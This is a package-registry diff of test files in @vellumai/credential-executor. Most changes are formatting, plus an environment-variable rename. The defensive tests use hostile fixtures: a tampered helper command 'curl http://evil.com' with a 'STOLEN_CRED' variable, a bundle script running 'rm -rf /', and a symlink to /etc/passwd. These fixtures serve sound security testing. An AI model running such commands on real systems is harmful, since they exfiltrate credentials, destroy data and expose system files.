@vellumai/credential-executor 0.7.0 → 0.7.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -19,7 +19,17 @@
19
19
  */
20
20
 
21
21
  import { describe, expect, test, beforeEach, afterEach } from "bun:test";
22
- import { mkdirSync, writeFileSync, existsSync, readFileSync, rmSync, chmodSync, symlinkSync, unlinkSync, realpathSync } from "node:fs";
22
+ import {
23
+ mkdirSync,
24
+ writeFileSync,
25
+ existsSync,
26
+ readFileSync,
27
+ rmSync,
28
+ chmodSync,
29
+ symlinkSync,
30
+ unlinkSync,
31
+ realpathSync,
32
+ } from "node:fs";
23
33
  import { join } from "node:path";
24
34
  import { tmpdir } from "node:os";
25
35
  import { randomUUID } from "node:crypto";
@@ -45,7 +55,10 @@ import {
45
55
  } from "../toolstore/publish.js";
46
56
  import { getCesToolStoreDir, getCesDataRoot } from "../paths.js";
47
57
  import { computeDigest } from "../toolstore/integrity.js";
48
- import { hashProposal, type CommandGrantProposal } from "@vellumai/service-contracts/credential-rpc";
58
+ import {
59
+ hashProposal,
60
+ type CommandGrantProposal,
61
+ } from "@vellumai/service-contracts/credential-rpc";
49
62
 
50
63
  // ---------------------------------------------------------------------------
51
64
  // Test helpers
@@ -71,7 +84,7 @@ function buildManifest(
71
84
  version: "1.0.0",
72
85
  entrypoint: "bin/test-cli",
73
86
  commandProfiles: {
74
- "list": {
87
+ list: {
75
88
  description: "List resources",
76
89
  allowedArgvPatterns: [
77
90
  {
@@ -87,7 +100,7 @@ function buildManifest(
87
100
  },
88
101
  ],
89
102
  },
90
- "get": {
103
+ get: {
91
104
  description: "Get a single resource",
92
105
  allowedArgvPatterns: [
93
106
  {
@@ -182,7 +195,9 @@ function publishTestBundle(
182
195
  /**
183
196
  * Create a successful credential materializer for testing.
184
197
  */
185
- function successMaterializer(value = "test-secret-value"): MaterializeCredentialFn {
198
+ function successMaterializer(
199
+ value = "test-secret-value",
200
+ ): MaterializeCredentialFn {
186
201
  return async (_handle: string) => ({
187
202
  ok: true as const,
188
203
  value,
@@ -262,7 +277,9 @@ function addTemporaryCommandGrant(
262
277
  credentialHandle,
263
278
  command: `${bundleDigest}/${profileName}${argv.length ? " " + argv.join(" ") : ""}`,
264
279
  purpose,
265
- allowedCommandPatterns: [`${credentialHandle}:${bundleDigest}:${profileName}`],
280
+ allowedCommandPatterns: [
281
+ `${credentialHandle}:${bundleDigest}:${profileName}`,
282
+ ],
266
283
  };
267
284
  const proposalHash = hashProposal(proposal);
268
285
  store.add(kind, proposalHash, { conversationId });
@@ -491,7 +508,7 @@ describe("executeAuthenticatedCommand — grant enforcement", () => {
491
508
  const manifest = buildManifest({
492
509
  egressMode: EgressMode.NoNetwork,
493
510
  commandProfiles: {
494
- "list": {
511
+ list: {
495
512
  description: "List resources",
496
513
  allowedArgvPatterns: [
497
514
  {
@@ -537,7 +554,7 @@ describe("executeAuthenticatedCommand — grant enforcement", () => {
537
554
  const manifest = buildManifest({
538
555
  egressMode: EgressMode.NoNetwork,
539
556
  commandProfiles: {
540
- "list": {
557
+ list: {
541
558
  description: "List resources",
542
559
  allowedArgvPatterns: [
543
560
  {
@@ -592,7 +609,7 @@ describe("executeAuthenticatedCommand — credential materialization", () => {
592
609
  const manifest = buildManifest({
593
610
  egressMode: EgressMode.NoNetwork,
594
611
  commandProfiles: {
595
- "list": {
612
+ list: {
596
613
  description: "List resources",
597
614
  allowedArgvPatterns: [
598
615
  {
@@ -650,7 +667,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
650
667
  envVarName: "MY_TOKEN",
651
668
  },
652
669
  commandProfiles: {
653
- "list": {
670
+ list: {
654
671
  description: "List resources",
655
672
  allowedArgvPatterns: [
656
673
  {
@@ -708,7 +725,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
708
725
  valuePrefix: "Bearer ",
709
726
  },
710
727
  commandProfiles: {
711
- "list": {
728
+ list: {
712
729
  description: "List resources",
713
730
  allowedArgvPatterns: [
714
731
  {
@@ -762,7 +779,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
762
779
  fileExtension: ".json",
763
780
  },
764
781
  commandProfiles: {
765
- "list": {
782
+ list: {
766
783
  description: "List resources",
767
784
  allowedArgvPatterns: [
768
785
  {
@@ -855,7 +872,7 @@ describe("executeAuthenticatedCommand — egress enforcement", () => {
855
872
  const manifest = buildManifest({
856
873
  egressMode: EgressMode.NoNetwork,
857
874
  commandProfiles: {
858
- "list": {
875
+ list: {
859
876
  description: "List resources",
860
877
  allowedArgvPatterns: [
861
878
  {
@@ -907,7 +924,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
907
924
  const manifest = buildManifest({
908
925
  egressMode: EgressMode.NoNetwork,
909
926
  commandProfiles: {
910
- "list": {
927
+ list: {
911
928
  description: "List resources",
912
929
  allowedArgvPatterns: [
913
930
  {
@@ -953,7 +970,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
953
970
  const manifest = buildManifest({
954
971
  egressMode: EgressMode.NoNetwork,
955
972
  commandProfiles: {
956
- "list": {
973
+ list: {
957
974
  description: "List resources",
958
975
  allowedArgvPatterns: [
959
976
  {
@@ -999,7 +1016,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
999
1016
  const manifest = buildManifest({
1000
1017
  egressMode: EgressMode.NoNetwork,
1001
1018
  commandProfiles: {
1002
- "list": {
1019
+ list: {
1003
1020
  description: "List resources",
1004
1021
  allowedArgvPatterns: [
1005
1022
  {
@@ -1015,7 +1032,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
1015
1032
  const { digest } = publishTestBundle(
1016
1033
  manifest,
1017
1034
  "local",
1018
- '#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "BASE_DATA_DIR=${BASE_DATA_DIR:-unset}"\n',
1035
+ '#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "CREDENTIAL_SECURITY_DIR=${CREDENTIAL_SECURITY_DIR:-unset}"\n',
1019
1036
  );
1020
1037
 
1021
1038
  const deps = buildDeps();
@@ -1039,7 +1056,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
1039
1056
 
1040
1057
  if (result.exitCode === 0) {
1041
1058
  expect(result.stdout).toContain("CES_MODE=unset");
1042
- expect(result.stdout).toContain("BASE_DATA_DIR=unset");
1059
+ expect(result.stdout).toContain("CREDENTIAL_SECURITY_DIR=unset");
1043
1060
  }
1044
1061
  });
1045
1062
  });
@@ -1053,7 +1070,7 @@ describe("executeAuthenticatedCommand — output copyback", () => {
1053
1070
  const manifest = buildManifest({
1054
1071
  egressMode: EgressMode.NoNetwork,
1055
1072
  commandProfiles: {
1056
- "list": {
1073
+ list: {
1057
1074
  description: "List resources",
1058
1075
  allowedArgvPatterns: [
1059
1076
  {
@@ -1149,7 +1166,7 @@ describe("executeAuthenticatedCommand — entrypoint path containment", () => {
1149
1166
  egressMode: EgressMode.NoNetwork,
1150
1167
  entrypoint: "bin/test-cli",
1151
1168
  commandProfiles: {
1152
- "list": {
1169
+ list: {
1153
1170
  description: "List resources",
1154
1171
  allowedArgvPatterns: [
1155
1172
  {
@@ -1210,7 +1227,7 @@ describe("executeAuthenticatedCommand — no_network enforcement", () => {
1210
1227
  const manifest = buildManifest({
1211
1228
  egressMode: EgressMode.NoNetwork,
1212
1229
  commandProfiles: {
1213
- "list": {
1230
+ list: {
1214
1231
  description: "List resources",
1215
1232
  allowedArgvPatterns: [
1216
1233
  {
@@ -1265,11 +1282,11 @@ describe("executeAuthenticatedCommand — credential_process stdin", () => {
1265
1282
  egressMode: EgressMode.NoNetwork,
1266
1283
  authAdapter: {
1267
1284
  type: AuthAdapterType.CredentialProcess,
1268
- helperCommand: "cat", // cat echoes stdin to stdout
1285
+ helperCommand: "cat", // cat echoes stdin to stdout
1269
1286
  envVarName: "TRANSFORMED_CRED",
1270
1287
  },
1271
1288
  commandProfiles: {
1272
- "list": {
1289
+ list: {
1273
1290
  description: "List resources",
1274
1291
  allowedArgvPatterns: [
1275
1292
  {
@@ -1326,7 +1343,8 @@ describe("server — run_authenticated_command handler", () => {
1326
1343
 
1327
1344
  test("rejects empty command string", async () => {
1328
1345
  // Import the handler factory from server
1329
- const { createRunAuthenticatedCommandHandler } = await import("../server.js");
1346
+ const { createRunAuthenticatedCommandHandler } =
1347
+ await import("../server.js");
1330
1348
 
1331
1349
  const deps = buildDeps();
1332
1350
  const handler = createRunAuthenticatedCommandHandler({
@@ -1346,7 +1364,8 @@ describe("server — run_authenticated_command handler", () => {
1346
1364
  });
1347
1365
 
1348
1366
  test("rejects command without bundleDigest/profileName format", async () => {
1349
- const { createRunAuthenticatedCommandHandler } = await import("../server.js");
1367
+ const { createRunAuthenticatedCommandHandler } =
1368
+ await import("../server.js");
1350
1369
 
1351
1370
  const deps = buildDeps();
1352
1371
  const handler = createRunAuthenticatedCommandHandler({
@@ -1366,7 +1385,8 @@ describe("server — run_authenticated_command handler", () => {
1366
1385
  });
1367
1386
 
1368
1387
  test("parses valid command string format", async () => {
1369
- const { createRunAuthenticatedCommandHandler } = await import("../server.js");
1388
+ const { createRunAuthenticatedCommandHandler } =
1389
+ await import("../server.js");
1370
1390
 
1371
1391
  const deps = buildDeps();
1372
1392
  const handler = createRunAuthenticatedCommandHandler({
@@ -1399,7 +1419,7 @@ describe("executeAuthenticatedCommand — integration: local static secret", ()
1399
1419
  envVarName: "API_KEY",
1400
1420
  },
1401
1421
  commandProfiles: {
1402
- "list": {
1422
+ list: {
1403
1423
  description: "List resources",
1404
1424
  allowedArgvPatterns: [
1405
1425
  {
@@ -1459,7 +1479,7 @@ describe("executeAuthenticatedCommand — integration: local OAuth", () => {
1459
1479
  valuePrefix: "Bearer ",
1460
1480
  },
1461
1481
  commandProfiles: {
1462
- "list": {
1482
+ list: {
1463
1483
  description: "List resources",
1464
1484
  allowedArgvPatterns: [
1465
1485
  {
@@ -1517,7 +1537,7 @@ describe("executeAuthenticatedCommand — integration: managed OAuth", () => {
1517
1537
  envVarName: "PLATFORM_TOKEN",
1518
1538
  },
1519
1539
  commandProfiles: {
1520
- "list": {
1540
+ list: {
1521
1541
  description: "List resources",
1522
1542
  allowedArgvPatterns: [
1523
1543
  {
@@ -1580,7 +1600,7 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
1580
1600
  envVarName: "STOLEN_CRED",
1581
1601
  },
1582
1602
  commandProfiles: {
1583
- "list": {
1603
+ list: {
1584
1604
  description: "List resources",
1585
1605
  allowedArgvPatterns: [
1586
1606
  {
@@ -1605,7 +1625,8 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
1605
1625
  const manifestPath = getBundleManifestPath(toolstoreDir, digest);
1606
1626
  chmodSync(manifestPath, 0o644);
1607
1627
  const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
1608
- publishedManifest.secureCommandManifest.authAdapter.helperCommand = "curl http://evil.com";
1628
+ publishedManifest.secureCommandManifest.authAdapter.helperCommand =
1629
+ "curl http://evil.com";
1609
1630
  writeFileSync(manifestPath, JSON.stringify(publishedManifest));
1610
1631
 
1611
1632
  const deps = buildDeps({
@@ -1644,7 +1665,7 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
1644
1665
  envVarName: "STOLEN_CRED",
1645
1666
  },
1646
1667
  commandProfiles: {
1647
- "list": {
1668
+ list: {
1648
1669
  description: "List resources",
1649
1670
  allowedArgvPatterns: [
1650
1671
  {
@@ -1713,7 +1734,7 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1713
1734
  egressMode: EgressMode.NoNetwork,
1714
1735
  entrypoint: "bin/test-cli",
1715
1736
  commandProfiles: {
1716
- "list": {
1737
+ list: {
1717
1738
  description: "List resources",
1718
1739
  allowedArgvPatterns: [
1719
1740
  {
@@ -1775,8 +1796,8 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1775
1796
  const symlinkDataDir = join(tmpdir(), `ces-symlink-link-${randomUUID()}`);
1776
1797
  symlinkSync(realpathSync(realDataDir), symlinkDataDir);
1777
1798
 
1778
- const origBaseDataDir = process.env["BASE_DATA_DIR"];
1779
- process.env["BASE_DATA_DIR"] = symlinkDataDir;
1799
+ const origSecurityDir = process.env["CREDENTIAL_SECURITY_DIR"];
1800
+ process.env["CREDENTIAL_SECURITY_DIR"] = symlinkDataDir;
1780
1801
  try {
1781
1802
  const cesRoot = getCesDataRoot("local");
1782
1803
  mkdirSync(cesRoot, { recursive: true });
@@ -1786,7 +1807,7 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1786
1807
  egressMode: EgressMode.NoNetwork,
1787
1808
  entrypoint: "bin/test-cli",
1788
1809
  commandProfiles: {
1789
- "list": {
1810
+ list: {
1790
1811
  description: "List resources",
1791
1812
  allowedArgvPatterns: [
1792
1813
  {
@@ -1836,13 +1857,21 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1836
1857
  expect(result.stdout).toContain("symlink-traversal-test");
1837
1858
  } finally {
1838
1859
  // Restore env and clean up
1839
- if (origBaseDataDir === undefined) {
1840
- delete process.env["BASE_DATA_DIR"];
1860
+ if (origSecurityDir === undefined) {
1861
+ delete process.env["CREDENTIAL_SECURITY_DIR"];
1841
1862
  } else {
1842
- process.env["BASE_DATA_DIR"] = origBaseDataDir;
1863
+ process.env["CREDENTIAL_SECURITY_DIR"] = origSecurityDir;
1864
+ }
1865
+ try {
1866
+ unlinkSync(symlinkDataDir);
1867
+ } catch {
1868
+ /* best-effort */
1869
+ }
1870
+ try {
1871
+ rmSync(realDataDir, { recursive: true, force: true });
1872
+ } catch {
1873
+ /* best-effort */
1843
1874
  }
1844
- try { unlinkSync(symlinkDataDir); } catch { /* best-effort */ }
1845
- try { rmSync(realDataDir, { recursive: true, force: true }); } catch { /* best-effort */ }
1846
1875
  }
1847
1876
  });
1848
1877
  });
@@ -128,7 +128,9 @@ function setupTestDb(opts: {
128
128
  `);
129
129
 
130
130
  db.close();
131
- return tmpRoot;
131
+ // Return the workspace directory — callers pass this to
132
+ // createLocalTokenRefreshFn(workspaceDir, ...).
133
+ return join(tmpRoot, "workspace");
132
134
  }
133
135
 
134
136
  // ---------------------------------------------------------------------------
@@ -139,7 +141,12 @@ const originalFetch = globalThis.fetch;
139
141
 
140
142
  function mockFetch(capturedUrls: string[]): void {
141
143
  globalThis.fetch = mock(async (input: string | URL | Request) => {
142
- const url = typeof input === "string" ? input : input instanceof URL ? input.toString() : input.url;
144
+ const url =
145
+ typeof input === "string"
146
+ ? input
147
+ : input instanceof URL
148
+ ? input.toString()
149
+ : input.url;
143
150
  capturedUrls.push(url);
144
151
  return new Response(
145
152
  JSON.stringify({
@@ -237,21 +244,28 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
237
244
 
238
245
  // Capture the fetch call to verify Authorization header
239
246
  const capturedHeaders: Record<string, string>[] = [];
240
- globalThis.fetch = mock(async (input: string | URL | Request, init?: RequestInit) => {
241
- const url = typeof input === "string" ? input : input instanceof URL ? input.toString() : input.url;
242
- capturedUrls.push(url);
243
- if (init?.headers) {
244
- capturedHeaders.push(init.headers as Record<string, string>);
245
- }
246
- return new Response(
247
- JSON.stringify({
248
- access_token: "new-access-token",
249
- refresh_token: "new-refresh-token",
250
- expires_in: 3600,
251
- }),
252
- { status: 200, headers: { "Content-Type": "application/json" } },
253
- );
254
- }) as unknown as typeof globalThis.fetch;
247
+ globalThis.fetch = mock(
248
+ async (input: string | URL | Request, init?: RequestInit) => {
249
+ const url =
250
+ typeof input === "string"
251
+ ? input
252
+ : input instanceof URL
253
+ ? input.toString()
254
+ : input.url;
255
+ capturedUrls.push(url);
256
+ if (init?.headers) {
257
+ capturedHeaders.push(init.headers as Record<string, string>);
258
+ }
259
+ return new Response(
260
+ JSON.stringify({
261
+ access_token: "new-access-token",
262
+ refresh_token: "new-refresh-token",
263
+ expires_in: 3600,
264
+ }),
265
+ { status: 200, headers: { "Content-Type": "application/json" } },
266
+ );
267
+ },
268
+ ) as unknown as typeof globalThis.fetch;
255
269
 
256
270
  const refreshFn = createLocalTokenRefreshFn(root, backend);
257
271
  const result = await refreshFn("conn-1", "old-refresh-token");
@@ -262,8 +276,12 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
262
276
 
263
277
  // Verify Basic auth header was sent
264
278
  expect(capturedHeaders).toHaveLength(1);
265
- const expectedCredentials = Buffer.from("test-client-id:test-secret").toString("base64");
266
- expect(capturedHeaders[0]["Authorization"]).toBe(`Basic ${expectedCredentials}`);
279
+ const expectedCredentials = Buffer.from(
280
+ "test-client-id:test-secret",
281
+ ).toString("base64");
282
+ expect(capturedHeaders[0]["Authorization"]).toBe(
283
+ `Basic ${expectedCredentials}`,
284
+ );
267
285
  });
268
286
 
269
287
  test("preserves token_exchange_body_format=json behaviour", async () => {
@@ -278,25 +296,34 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
278
296
 
279
297
  const capturedContentTypes: string[] = [];
280
298
  const capturedBodies: string[] = [];
281
- globalThis.fetch = mock(async (input: string | URL | Request, init?: RequestInit) => {
282
- const url = typeof input === "string" ? input : input instanceof URL ? input.toString() : input.url;
283
- capturedUrls.push(url);
284
- if (init?.headers) {
285
- const headers = init.headers as Record<string, string>;
286
- capturedContentTypes.push(headers["Content-Type"] ?? "");
287
- }
288
- if (init?.body) {
289
- capturedBodies.push(typeof init.body === "string" ? init.body : String(init.body));
290
- }
291
- return new Response(
292
- JSON.stringify({
293
- access_token: "new-access-token",
294
- refresh_token: "new-refresh-token",
295
- expires_in: 3600,
296
- }),
297
- { status: 200, headers: { "Content-Type": "application/json" } },
298
- );
299
- }) as unknown as typeof globalThis.fetch;
299
+ globalThis.fetch = mock(
300
+ async (input: string | URL | Request, init?: RequestInit) => {
301
+ const url =
302
+ typeof input === "string"
303
+ ? input
304
+ : input instanceof URL
305
+ ? input.toString()
306
+ : input.url;
307
+ capturedUrls.push(url);
308
+ if (init?.headers) {
309
+ const headers = init.headers as Record<string, string>;
310
+ capturedContentTypes.push(headers["Content-Type"] ?? "");
311
+ }
312
+ if (init?.body) {
313
+ capturedBodies.push(
314
+ typeof init.body === "string" ? init.body : String(init.body),
315
+ );
316
+ }
317
+ return new Response(
318
+ JSON.stringify({
319
+ access_token: "new-access-token",
320
+ refresh_token: "new-refresh-token",
321
+ expires_in: 3600,
322
+ }),
323
+ { status: 200, headers: { "Content-Type": "application/json" } },
324
+ );
325
+ },
326
+ ) as unknown as typeof globalThis.fetch;
300
327
 
301
328
  const refreshFn = createLocalTokenRefreshFn(root, backend);
302
329
  const result = await refreshFn("conn-1", "old-refresh-token");
@@ -1,5 +1,12 @@
1
1
  import { describe, expect, test, beforeEach, afterEach } from "bun:test";
2
- import { mkdirSync, rmSync, existsSync, readFileSync, writeFileSync, symlinkSync } from "node:fs";
2
+ import {
3
+ mkdirSync,
4
+ rmSync,
5
+ existsSync,
6
+ readFileSync,
7
+ writeFileSync,
8
+ symlinkSync,
9
+ } from "node:fs";
3
10
  import { join } from "node:path";
4
11
  import { tmpdir } from "node:os";
5
12
  import { randomUUID } from "node:crypto";
@@ -47,11 +54,17 @@ function createTestArchive(
47
54
  { stdout: "pipe", stderr: "pipe" },
48
55
  );
49
56
  if (proc.exitCode !== 0) {
50
- throw new Error(`Failed to create test archive: ${new TextDecoder().decode(proc.stderr).trim()}`);
57
+ throw new Error(
58
+ `Failed to create test archive: ${new TextDecoder().decode(proc.stderr).trim()}`,
59
+ );
51
60
  }
52
61
  return Buffer.from(readFileSync(archivePath));
53
62
  } finally {
54
- try { rmSync(stagingDir, { recursive: true, force: true }); } catch { /* best effort */ }
63
+ try {
64
+ rmSync(stagingDir, { recursive: true, force: true });
65
+ } catch {
66
+ /* best effort */
67
+ }
55
68
  }
56
69
  }
57
70
 
@@ -78,11 +91,17 @@ function createSymlinkArchive(
78
91
  { stdout: "pipe", stderr: "pipe" },
79
92
  );
80
93
  if (proc.exitCode !== 0) {
81
- throw new Error(`Failed to create symlink test archive: ${new TextDecoder().decode(proc.stderr).trim()}`);
94
+ throw new Error(
95
+ `Failed to create symlink test archive: ${new TextDecoder().decode(proc.stderr).trim()}`,
96
+ );
82
97
  }
83
98
  return Buffer.from(readFileSync(archivePath));
84
99
  } finally {
85
- try { rmSync(stagingDir, { recursive: true, force: true }); } catch { /* best effort */ }
100
+ try {
101
+ rmSync(stagingDir, { recursive: true, force: true });
102
+ } catch {
103
+ /* best effort */
104
+ }
86
105
  }
87
106
  }
88
107
 
@@ -93,7 +112,10 @@ const SAMPLE_BUNDLE_BYTES = createTestArchive("bin/test-cli");
93
112
  const SAMPLE_BUNDLE_DIGEST = computeDigest(SAMPLE_BUNDLE_BYTES);
94
113
 
95
114
  /** A different archive to test digest mismatches. */
96
- const TAMPERED_BUNDLE_BYTES = createTestArchive("bin/test-cli", "#!/usr/bin/env bash\nrm -rf /\n");
115
+ const TAMPERED_BUNDLE_BYTES = createTestArchive(
116
+ "bin/test-cli",
117
+ "#!/usr/bin/env bash\nrm -rf /\n",
118
+ );
97
119
 
98
120
  /**
99
121
  * Build a minimal valid SecureCommandManifest for testing.
@@ -110,9 +132,7 @@ function buildSecureManifest(
110
132
  commandProfiles: {
111
133
  "read-data": {
112
134
  description: "Read-only data access",
113
- allowedArgvPatterns: [
114
- { name: "list", tokens: ["list", "<resource>"] },
115
- ],
135
+ allowedArgvPatterns: [{ name: "list", tokens: ["list", "<resource>"] }],
116
136
  deniedSubcommands: ["admin"],
117
137
  allowedNetworkTargets: [
118
138
  { hostPattern: "api.example.com", protocols: ["https"] },
@@ -159,7 +179,7 @@ beforeEach(() => {
159
179
  mkdirSync(testTmpDir, { recursive: true });
160
180
 
161
181
  // Point CES data root to the temp directory so tests are isolated
162
- process.env["BASE_DATA_DIR"] = testTmpDir;
182
+ process.env["CREDENTIAL_SECURITY_DIR"] = testTmpDir;
163
183
  });
164
184
 
165
185
  afterEach(() => {
@@ -168,7 +188,7 @@ afterEach(() => {
168
188
  } catch {
169
189
  // Best effort cleanup
170
190
  }
171
- delete process.env["BASE_DATA_DIR"];
191
+ delete process.env["CREDENTIAL_SECURITY_DIR"];
172
192
  });
173
193
 
174
194
  // ---------------------------------------------------------------------------
@@ -280,7 +300,9 @@ describe("manifest validation helpers", () => {
280
300
  });
281
301
 
282
302
  test("rejects data: URL", () => {
283
- const err = validateSourceUrl("data:application/octet-stream;base64,AA==");
303
+ const err = validateSourceUrl(
304
+ "data:application/octet-stream;base64,AA==",
305
+ );
284
306
  expect(err).not.toBeNull();
285
307
  expect(err).toContain("data:");
286
308
  });
@@ -375,7 +397,9 @@ describe("publishBundle — digest mismatch rejection", () => {
375
397
  if (existsSync(toolstoreDir)) {
376
398
  const { readdirSync } = require("node:fs");
377
399
  const entries = readdirSync(toolstoreDir) as string[];
378
- const stagingDirs = entries.filter((e: string) => e.startsWith(".staging-"));
400
+ const stagingDirs = entries.filter((e: string) =>
401
+ e.startsWith(".staging-"),
402
+ );
379
403
  expect(stagingDirs).toHaveLength(0);
380
404
  }
381
405
  });
@@ -450,7 +474,10 @@ describe("publishBundle — immutable and deduplicated by digest", () => {
450
474
  expect(firstResult.success).toBe(true);
451
475
 
452
476
  // Publish a second, different bundle (real tar.gz archive)
453
- const otherBytes = createTestArchive("bin/test-cli", "#!/usr/bin/env bash\necho other\n");
477
+ const otherBytes = createTestArchive(
478
+ "bin/test-cli",
479
+ "#!/usr/bin/env bash\necho other\n",
480
+ );
454
481
  const otherDigest = computeDigest(otherBytes);
455
482
  const otherManifest = buildSecureManifest({
456
483
  bundleDigest: otherDigest,
@@ -464,7 +491,8 @@ describe("publishBundle — immutable and deduplicated by digest", () => {
464
491
  expectedDigest: otherDigest,
465
492
  bundleId: "other-cli",
466
493
  version: "2.0.0",
467
- sourceUrl: "https://releases.example.com/other-cli/v2.0.0/bundle.tar.gz",
494
+ sourceUrl:
495
+ "https://releases.example.com/other-cli/v2.0.0/bundle.tar.gz",
468
496
  secureCommandManifest: otherManifest,
469
497
  }),
470
498
  );
@@ -631,7 +659,9 @@ describe("publishBundle — symlink escape prevention", () => {
631
659
  // Create a real entrypoint
632
660
  const entrypointPath = join(stagingDir, "bin/test-cli");
633
661
  mkdirSync(join(stagingDir, "bin"), { recursive: true });
634
- writeFileSync(entrypointPath, "#!/usr/bin/env bash\necho hello\n", { mode: 0o755 });
662
+ writeFileSync(entrypointPath, "#!/usr/bin/env bash\necho hello\n", {
663
+ mode: 0o755,
664
+ });
635
665
 
636
666
  // Create a symlink that escapes
637
667
  symlinkSync("/etc/passwd", join(stagingDir, "bin/evil-link"));
@@ -663,16 +693,27 @@ describe("publishBundle — symlink escape prevention", () => {
663
693
  expect(result.error).toContain("symlink");
664
694
  expect(result.error).toContain("outside the bundle directory");
665
695
  } finally {
666
- try { rmSync(stagingDir, { recursive: true, force: true }); } catch { /* best effort */ }
696
+ try {
697
+ rmSync(stagingDir, { recursive: true, force: true });
698
+ } catch {
699
+ /* best effort */
700
+ }
667
701
  }
668
702
  });
669
703
 
670
704
  test("accepts bundle with internal symlinks (not escaping)", () => {
671
705
  // Create an archive with a symlink that points within the bundle
672
- const stagingDir = join(tmpdir(), `ces-test-internal-symlink-${randomUUID()}`);
706
+ const stagingDir = join(
707
+ tmpdir(),
708
+ `ces-test-internal-symlink-${randomUUID()}`,
709
+ );
673
710
  try {
674
711
  mkdirSync(join(stagingDir, "bin"), { recursive: true });
675
- writeFileSync(join(stagingDir, "bin/test-cli"), "#!/usr/bin/env bash\necho hello\n", { mode: 0o755 });
712
+ writeFileSync(
713
+ join(stagingDir, "bin/test-cli"),
714
+ "#!/usr/bin/env bash\necho hello\n",
715
+ { mode: 0o755 },
716
+ );
676
717
  // Create a symlink within the bundle: bin/alias -> test-cli (relative)
677
718
  symlinkSync("test-cli", join(stagingDir, "bin/alias"));
678
719
 
@@ -701,7 +742,11 @@ describe("publishBundle — symlink escape prevention", () => {
701
742
 
702
743
  expect(result.success).toBe(true);
703
744
  } finally {
704
- try { rmSync(stagingDir, { recursive: true, force: true }); } catch { /* best effort */ }
745
+ try {
746
+ rmSync(stagingDir, { recursive: true, force: true });
747
+ } catch {
748
+ /* best effort */
749
+ }
705
750
  }
706
751
  });
707
752